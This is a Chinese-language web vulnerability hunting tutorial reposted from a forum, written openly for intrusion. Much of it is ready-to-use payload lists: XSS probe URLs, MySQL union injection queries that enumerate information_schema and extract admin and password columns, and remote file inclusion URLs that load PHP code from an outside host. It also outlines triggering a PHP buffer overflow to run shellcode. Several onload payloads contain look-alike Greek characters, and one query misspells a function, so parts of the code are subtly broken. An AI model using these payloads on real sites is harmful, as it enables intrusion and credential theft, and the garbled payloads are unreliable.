漏洞挖掘技術

來源:安全焦點
作者:7all (sgh81_at_163.com)

WEB漏洞挖掘技術

|=---------------=[ WEB漏洞挖掘技術 ]=-----------------------------=|
|=-----------------------------------------------------------------=|
|=---------------=[ 7all<7all7_at_163.com> ]=----------------------=|
|=-----------------------------------------------------------------=|
|=---------------=[ bbs.cciss.cn ]=--------------------------------=|

--]前言
漏洞挖掘技術一直是網絡攻擊者最感興趣的問題,漏洞挖掘的範圍也在隨着技術的
提升而有所變化.在前期針對緩衝區溢出 格式化字符串 堆溢出 lib庫溢出等技術都
是針對ELF文件(Linux可執行文件)或者PE文件(Win可執行文件)的漏洞挖掘技術.
在針對ELF文件 PE文件(*.exe與*.dll)的漏洞挖掘過程中,出現了很多的漏洞挖掘
技術,但是針對PE文件 ELF文件的漏洞挖掘始終停留在了黑盒測試(包括單元黑盒測試)
源代碼審計等辦法.通過RATS等源代碼審計軟件可以找到部分源代碼級別的漏洞信息,
但是畢竟源代碼審計軟件尋找的多數爲strcpy memcpy等存在緩衝區溢出遺患的C函數,
所以通過審計源代碼的辦法來進行漏洞挖掘是一個可能性係數很小的漏洞挖掘技術,而
針對軟件的黑盒子測試雖然也能找到一些軟件的漏洞,但可能性係數也會較小,在國外
的一些進行漏洞挖掘的辦法已經慢慢的提升爲自己寫黑盒子測試代碼,然後針對系統或
軟件的某個功能模塊進行模塊化的漏洞挖掘技術.例如Linux內核的很多漏洞都是通過
fuzzing技術找到的,fuzzing即模糊測試的意思,大家可以理解爲類似SQL盲注入類型的
攻擊技術.
網絡安全的界限在不斷的提升,目前緩衝區溢出漏洞已經如MS SQL注入般的被很多人
堵死,而在進行網絡入侵滲透的過程中,很多人滲透成功的着力點都是通過WEB開始的,
當然有些人是通過MS SQL注入,有些人通過其它的WEB漏洞技術一步步的走到了入侵成功
的步驟.我們下面將會討論一些WEB漏洞挖掘的簡單技術,通過這些簡單技術的規則,然後
配合經驗的提高,大家或許會得到意想不到的效果.

--]WEB漏洞的分類
A: SQL注入(包括MSSQL MySQL Oracle等)
SQL注入漏洞,是依靠存在弱點的WEB腳本代碼,來實現通過瀏覽器執行任意SQL語句,從而
實現最終獲取某種權限的攻擊技術.SQL注入的關鍵部分在於對元數據的利用,所謂元數據即
數據庫的基礎數據.例如我們可以通過database() version()來獲得數據庫的名稱及版本,
而我們通過SQL內置函數獲得的這些內容都屬於數據庫元數據的內容.理解了元數據的概念,
在後面的章節我會給大家簡單的講解下通過元數據來獲取MySQL的數據表.

B: 文件包含類型,如PHP的的遠程 本地文件包含漏洞
文件包含漏洞是PHP程序特有的一個弱點攻擊,原理就是在使用include時沒有安全的編程,
而能夠找到文件包含漏洞則是入侵一個WEB系統的很重要的因素,有了文件包含漏洞則可以
很快速的達到上傳WEBSHELL,然後本地提升權限的作用.

C: XSS
XSS漏洞是被很多人遺忘的漏洞,但是XSS也是一個比較危險的安全隱患,我看到很多國內介紹
XSS漏洞的文章大部分在如何欺騙管理員獲得後臺登陸帳戶或者管理員的cookies文件.但這些
僅僅是XSS漏洞的簡單用法,如果尋找到的XSS漏洞可以任意執行任何的Javascript腳本,那安全
性也是不容忽視的.通過Javascript腳本其實也可以做一些惡意的攻擊,甚至可以獲得一些WEB
程序的源代碼,當然這個要看大家對Javascript腳本的熟悉程度.例如我們這幾天公佈的這個可
跨站執行任意Javascript腳本的漏洞,最後我也通過這個漏洞給客戶演示瞭如何獲取他們的服務
器信息,並最終實現得到其一定權限的方法.
同時例如session欺騙 cookies欺騙,目前我也把這些規入了XSS漏洞的範圍,當然僅僅研究這
兩個技術也是很值得大家去深入的進行漏洞挖掘的.

--]WEB漏洞挖掘規則
我想給大家事先說明下,該文檔的所有內容都爲黑盒子測試的範圍,也即使用這些漏洞挖掘規則,
大家僅僅需要一個WEB瀏覽器,如IE Firefox等即可,也無需讀取WEB程序的源代碼,只要某個規則
符合了漏洞規則的要求,大家即可以採取相關的漏洞攻擊技術進行相應的漏洞攻擊辦法:)
再次的羅嗦一下,在本文檔我沒有實際的例子給大家,但是很多漏洞挖掘的規則都是一些經驗的
積累,而且很多可能在實際進行漏洞挖掘時需要與實際情況進行分析處理,例如:
http://website/index1.php?id=<script>alert("111")</script>,如果對方的代碼過濾了"雙引號
那麼可以通過http://website/index1.php?id=<script>alert('111')</script>,採用'單引號測試
若單引號也過濾呢?OK,我們這樣來測試http://website/index1.php?id=<script>alert(111)</script>
使用數字提交,這樣測試XSS的漏洞就擴展到了三條:)有些具體的站點可能還會有很多的問題,例如:
通過構造HTML語句來實現XSS漏洞的挖掘等等.

A: XSS的漏洞挖掘規則

http://website/index1.php?id=<script>alert("111")</script>

http://website/index1.php?id=<script>alert('111')</script>

http://website/index1.php?id=<script>alert(111)</script>

http://website/index1.php?id=<body+οnlοad=alert("1111")>

http://website/index1.php?id=<body+οnlοad=alert('1111')>

http://website/index1.php?id=<body+οnlοad=alert(1111)>

http://website/index1.php?id=<img+src=http://OtherWebSite/x.gif+οnlοad=alert("1111")>

http://website/index1.php?id=<img+src=http://OtherWebSite/x.gif+οnlοad=alert('1111')>

http://website/index1.php?id=<img+src=http://OtherWebSite/x.gif+οnlοad=alert(1111)>

http://website/index1.php?id=<"

http://website/index1.php?id=<'

http://website/index1.php?id=<

http://website/index1.php?id=<!--

http://website/index1.php?id=-->

http://website/index1.php?id=<!-- -->

使用上面的這些簡單漏洞規則,如果模糊測試一些站點的話,是可以找到一些XSS漏洞的,當然這些
不是全部的XSS漏洞規則,但是我覺得這些規則比較經典些:)我測試一些站點的時候,使用這些
規則基本上可以找到一些XSS漏洞.

B: SQL Injection
現在,MSSQL的注入技術已經變的很簡單,下面的內容我們針對mysql的注入和大家一起討論下
相關的技術,這些技術有簡單的,也有一些比較複雜的.另外mysql的注入工具目前沒有任何比較
強的工具,目前書寫一款功能較強的MySQL注入檢測工具也基本納入了2007年的計劃內.
下面會針對各種規則,然後對這些規則進行簡單的說明,很多規則我相信大家都用過的,不對
的地方希望大家給予指針.
下面的這四個語句判斷是否存在mysql注入,其中'號類型的測試已經不是很可行,特別在PHP5和mysql
5的環境下:)

http://website/index1.php?id=1'

http://website/index1.php?id=1 and 1=1

http://website/index1.php?id=1 and 1=2

http://website/index1.php?id=1 order by 4 //4爲判斷該表的列數,直到猜測到爲止

下面的語句來獲取mysql的一些信息,這裏我們假設我們使用order by語句判斷出的列數爲4

http://website/index1.php?id=1 and 1=1 union select 1,2,3,4

http://website/index1.php?id=1 and 1=1 union select version(),database(),user(),4

http://website/index1.php?id=1 and 1=1 union select 1/*

http://website/index1.php?id=1 and 1=1 union select version()/*

http://website/index1.php?id=1 and 1=1 union select databse()/*

猜測表名:

http://website/index1.php?id=1 and 1=1 union select 1,2,3,4 from database.table where 1=2

//where 1=2 不打印猜測表的內容

這裏的猜測就需要大家多靠經驗了,如admin user articles news等等,而且必須在指定select
的字段個數再使用,否則mysql會報錯.
http://website/index1.php?id=1 and 1=1 union select table_schema,table_name,table_rows,
table_count from information_schema.tables //如果執行這條語句是可行的,那麼恭喜大家可以
得到更多的數據庫信息了:)
上面我曾經提到過使用數據庫的元數據來獲取mysql的信息,就是這裏的這個辦法,當然前提是系統
管理員沒有禁止mysql普通用戶對元數據庫的表查詢,如果禁止了則該辦法是無效的.
在開始分析mysql數據庫到底可以執行到那種程度的注入情況下,我花了一天的時間分析了mysql的
系統架構,最終發現通過information_schema數據庫提供給mysql用戶的元數據可以得到一些mysql
數據庫的基本信息,例如得到數據庫的各個表信息等,還可以得到數據庫的權限設置等信息,下面的
內容屬於臨時增加的一個章節,我們一起來討論下information_schema數據庫的一些我們用到的表
的具體字段到底是幹什麼的:)

1: KEY_COLUMN_USAGE表

constraint_schema: 存放數據庫名

table_schema: 存放數據庫名

table_name: 存放數據庫表信息

column_name: 存放數據庫的字段信息,一般可以獲取第一個字段或者自增字段的信息

2: SCHEMA表

schema_name: 存放數據庫名

default_charater_set_name: 存放charset類型

default_collation_name: 存放charset相關信息

3: SCHEMA_PRIVILEGES表

grantee: 存放數據庫用戶名

table_schema: 表名

privilege_type: 權限

4: STATISTICS表

table_schema: 存放數據庫名

table_name: 存放表名

index_schema: 數據庫名

index_name: 是否縮引?

column_name: 存放索引自增字段?

5: TABLES表

table_schema: 存放數據庫名

table_name: 存放表名

table_type: 表類型 SYSTEM or BASE TABLE

engin: MEMORY MYISAM InnoDB

version:

table_rows:表的行數

auto_increment: 自增的總行數

create_time: 創建表的時間

update_time: 更新表的時間

create_options: 創建表時的約束條件

...

有了這些以後,如果對方系統管理員忽略了這些,則可以達到我們不需要猜測表名而
直接獲取數據庫表名的結果.我在本地測試時一切OK:)

猜測列名:
http://website/index1.php?id=1 and 1=1 union select username,2,3,4 from user where 1=2
按照這個規則依次類推,如果我們猜測到user表存在username字段,則程序執行是正常的,否則程序會
出錯,也可以使用where 1=1來打印表的信息,通過這樣的辦法就可以獲取mysql數據庫的某些關鍵表
的字段信息,如:admin與password:)

C: 文件包含漏洞
文件包含漏洞的測試,有以下幾個比較簡單且有效的辦法.
1: 新建一個簡單的php代碼,如:<? phpinfo(); ?>,保存爲*.txt格式
2: 新建一個簡單的php代碼,如:<? phpinfo(); ?>,保存爲無後綴格式

然後我們測試時只需要採取下面簡單的辦法即可,這裏我們假設我們下面的文件URL爲:

http://bbs.cciss.cn/include.txt

http://bbs.cciss.cn/include

漏洞規則:

http://website/file.php?inc=http://bbs.cciss.cn/include.txt

http://website/file.php?inc=http://bbs.cciss.cn/include.txt?

http://website/file.php?inc=http://bbs.cciss.cn/include?

http://website/file.php?inc=http://bbs.cciss.cn/include

使用上面的簡單規則即可實現文件包含漏洞的測試,當然得根據具體的返回信息來判斷.
例如從XSS漏洞的檢測規則可能會發現包含文件漏洞:)

如果我們知道PHP的某個函數存在緩衝區溢出,我們假設這個PHP的內置函數爲phphtml(char *str),
那麼我們如何利用這樣的漏洞呢?
我們假設http://website/file.php?inc=test,這裏的參數inc經過PHP代碼時使用了phphtml內置
函數,則可以使用下面的辦法來觸發漏洞
http://website/file.php?inc=11111111111....n(n爲觸發漏洞的最大字符數)
當然類似這樣的漏洞是需要寫程序來自動運行的,然後來觸發溢出並執行shellcode.
但這裏也存在一個問題,即一般情況下,類似PHP本身的溢出漏洞的利用是有些難度存在的.

--] 總結
針對WEB漏洞的挖掘,規則有N多,其中還有很多變種的規則.這裏說的基本上是一些可以簡單採取
手工辦法測試的規則,更多的規則是依靠經驗不斷積累所致:)
本文比較簡單,也沒有什麼技術含量,只是看到xfocus上介紹WEB漏洞的文章較少,所以纔想到提交下,
希望對大家有所幫助.
write by 7all

發佈了33 篇原創文章 · 獲贊 1 · 訪問量 9萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章